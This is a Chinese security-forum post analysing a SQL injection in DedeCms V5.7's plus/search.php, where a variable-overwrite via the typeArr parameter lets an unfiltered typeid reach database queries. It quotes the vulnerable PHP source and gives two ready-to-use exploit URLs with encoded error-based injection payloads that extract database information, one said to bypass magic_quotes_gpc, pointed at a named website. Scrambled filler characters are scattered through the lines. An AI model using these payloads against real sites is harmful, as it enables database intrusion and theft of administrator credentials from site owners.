找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2188|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
. h) i3 _6 p- S! X( \  o作者: c4rp3nt3r@0x50sec.org
) R8 T" n) O: XDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
, ]8 N- I) z/ b' i* D+ k: q3 R 8 m+ s) z8 y* N( l3 d& W
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
0 I$ H0 J& E/ @$ y$ n; G
1 |/ U* J5 d; k. p. T============
) Y5 @% m2 ]& h0 S: g, C% g. a
$ _' P) }% M+ b 7 b8 x  {! t5 b( H5 s1 S+ A
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.- u0 x5 {) u3 B$ y7 R5 W, s

; R" q2 P* P# o; D9 Xrequire_once(dirname(__FILE__).”/../include/common.inc.php”);
+ F/ |7 y9 I0 R) Jrequire_once(DEDEINC.”/arc.searchview.class.php”);
4 n7 v# @& d# D' b2 [ 3 s) [$ [5 V: f& [- y" U
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;% Z8 m, s# z* t! H4 l3 E
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;# E8 X3 v% N( |1 n& M
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
/ R# t9 {8 q# c5 b( D. \0 }$ p$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;5 s; G, I& I9 {) S: b. j' \1 J* `
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
" E, T" I) G5 B
9 \- l( r7 S3 C# z4 Z( |if(!isset($orderby)) $orderby=”;# k( G: u5 M' T  C# b! k# k4 c
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
$ V; S! F: C8 h1 z7 m* v 6 N2 f1 [7 m  X! {  e
; R" @% ~7 M  K
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;1 `8 a6 W0 Z. N4 ^6 i; ]
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
0 z% [5 S% @0 T
' C: v. d( a6 |7 dif(!isset($keyword)){
9 V( B9 b+ a: n) O    if(!isset($q)) $q = ”;
& C; @1 [8 x5 q( i    $keyword=$q;
- M" p: z" H( c6 f4 d) D, O8 n4 P}; U/ B  d1 c/ m* y: s

5 T  Y& `  N# q5 l+ B8 F1 |' L$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
+ F1 F  a  }2 t4 m0 h3 I
3 `4 y. o% x3 g) V) w7 t//查找栏目信息
: S8 b/ n4 u9 G- b( C; }0 {if(empty($typeid))7 Z; b6 Y4 S5 u2 G: T
{
' \& n3 Q; F/ U    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;- f6 D) S1 L# h0 H+ T  Z! {
    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
+ G/ Q6 b$ B7 p1 \1 L% V    {
+ f0 n7 q; k; D        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
3 L; O" R( Z( j) b. U        fwrite($fp, “<”.”?php\r\n”);1 {/ f& L+ H2 R- [3 B% S
        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);7 l6 E9 @. z7 N: t
        $dsql->Execute();
. ^6 `6 Z* @/ Y2 q        while($row = $dsql->GetArray())
+ x* b2 l7 F' w' }3 m        {' h$ n4 z6 o3 b/ {! h# ?5 d
            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
5 F& Q0 H; x* p: H9 j        }. s( S8 O( ^+ Q4 c+ {: l
        fwrite($fp, ‘?’.'>’);/ p4 i, y8 \1 D3 y! N  {3 ~8 ]/ J
        fclose($fp);; L3 m! l( u! q3 N) K8 V+ Z# q
    }
5 l* w1 u' {2 {' s    //引入栏目缓存并看关键字是否有相关栏目内容; d# u( _& J6 l
    require_once($typenameCacheFile);0 ]% B- w# I4 K; ^& Q' |6 I& `$ |
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个" z/ C. `, D7 h
//
9 M) K2 J: y8 {0 b. K% T$ z. O! T    if(isset($typeArr) && is_array($typeArr))
) ^0 ]0 y6 ~! ~0 _$ v; P' z    {( n4 W( |6 O) a2 y/ K) T
        foreach($typeArr as $id=>$typename)
" _5 b% v& U3 B6 L' Q        {
9 v7 p1 W% p, K% z) ?& S 8 v% r* {! j+ U
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过" u/ l' M' O% j' ?2 }; A
            if($keyword != $keywordn)
7 U9 c# `; I4 x. _$ Q/ J# R3 x            {
. F1 H% q! B" S3 t                $keyword = $keywordn;$ s2 a: q+ S- E1 L3 l1 n( L4 e
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设3 J/ t8 o2 d6 F) G
                break;
1 M9 @2 c1 Y5 P4 W5 D            }
& V5 O* L3 P2 o" H        }
! R* n" M. ?5 J" [! i. i$ S    }; b# }1 m9 r" H0 j2 D6 w
}
" ^' D# I: `4 v$ R  m( O然后plus/search.php文件下面定义了一个 Search类的对象 .
2 Q$ l  ^$ a! @9 n4 j, i9 I在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
8 P5 R( M4 Z+ p  @$this->TypeLink = new TypeLink($typeid);
3 h3 l& R- T* S3 \
* v9 ~2 j0 F+ L( ^TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.- H3 B7 ?. v1 `

, d! @: ]6 w( \7 uclass TypeLink
/ d9 K- k. R$ x8 H$ e3 J$ m{
( p; M6 k; ]! l0 u1 ]    var $typeDir;
% S" p+ O/ _/ s3 f! @    var $dsql;2 V0 a0 l7 L2 D) h
    var $TypeID;
6 U9 j' Q  b" }1 w    var $baseDir;
1 ]4 f1 C: J7 v5 l9 L! G* H, @    var $modDir;! r" N+ S: x4 z/ K  b
    var $indexUrl;
' J1 Y7 Z2 D9 g% x    var $indexName;
7 ^4 G5 Z# z. w    var $TypeInfos;7 X$ I- O6 j( z/ {( A: z
    var $SplitSymbol;5 M% s0 x. ~' ]! E
    var $valuePosition;
* |# j/ {1 F+ @8 x6 Z1 g) Y3 ~    var $valuePositionName;
, C+ E0 t& G# y    var $OptionArrayList;//构造函数///////
5 J7 F: t& A% J+ V2 w. U* x( \: e    //php5构造函数
! M( D# Y8 f( X% Z& @; n    function __construct($typeid)0 L; L# l6 P7 j, H: C* e7 ?
    {, _! Z" v" v% F6 @! U: O
        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];/ j- D7 y  }1 B1 k- E1 U
        $this->indexName = $GLOBALS['cfg_indexname'];0 z! |# y+ M0 ]6 q# }0 X2 _) L
        $this->baseDir = $GLOBALS['cfg_basedir'];  O( {# {+ R( P2 F
        $this->modDir = $GLOBALS['cfg_templets_dir'];
" D. ~) ]% e6 X+ U1 O6 ]; W3 J/ U( ]        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
- p0 J7 c1 Z. t* n; I+ c/ j        $this->dsql = $GLOBALS['dsql'];0 n, ?, z* [4 E! ?
        $this->TypeID = $typeid;: ~0 @# ?8 t2 o" N; C# K
        $this->valuePosition = ”;/ `( S) r8 S2 M: w( {
        $this->valuePositionName = ”;
/ i# H9 s/ S- J- T        $this->typeDir = ”;4 P6 U1 \, v+ f; S
        $this->OptionArrayList = ”;
9 }, d$ [0 C. k. Y
: v, B; k9 g) u; R  ?        //载入类目信息% [( B, m, o1 l4 f

! y4 \& U5 P* L( [! G        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
7 L' ]' N( g& H! Z) g# t  @ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join+ ]7 o6 {9 Z' A" x/ _9 I! m
`#@__channeltype` ch3 N( _  `* \5 e0 a3 V
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
# a  l3 v, F6 Y, x8 w9 W
4 b) I; ?$ j* k# F; N2 c        if($typeid > 0)
4 u* R; j8 i0 b* c* y        {
1 I# X+ z, l% K1 X            $this->TypeInfos = $this->dsql->GetOne($query);+ d+ W' a* Q  \6 r) _" V6 {
利用代码一 需要 即使magic_quotes_gpc = Off
. Y6 e  U5 l7 \4 m' Q4 O# y1 P / Z  L5 Y- _5 F2 ^, s% B) ~
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
( ~# Y7 ?! b- A# ?7 K" }7 Z $ H& u8 F7 w# ^' M5 q& |4 h9 w  R
这只是其中一个利用代码… Search 类的构造函数再往下
- i( U5 d$ F/ P' }; A
  W, a- J# k. }……省略
+ z2 p+ f2 F8 a$ v/ ]- s$this->TypeID = $typeid;2 G8 P: B$ z, _7 o; v+ ]4 K# g
……省略
& n+ A% ?9 i, W9 x. Gif($this->TypeID==”0″){
! _) y. U# s8 s. r( p9 u            $this->ChannelTypeid=1;
8 X( q" }* O" [3 b* z: _4 B  E1 U        }else{
! q# g! t! S% V% `# f1 @$ _% J( S            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
. \) W4 w$ v1 T" y4 l$ n4 J//现在不鸡肋了吧亲…
4 [7 _# x  d/ R1 Z% G/ ~/ N; S- v            $this->ChannelTypeid=$row['channeltype'];- ~" G% Q  l& M; [1 o% d

3 M1 y( ^& T( a: V& a        }! O1 i# N$ U) w! P+ U( D8 Y
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.( B) n$ _% |# E

+ [, ?' P0 |" ywww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title, e8 v+ g3 t- ~# z: j- V$ A" c4 z
$ U+ ]% c" M2 t8 g
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站* {" Q% u! q* |; L4 N: R8 T8 s) g2 v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表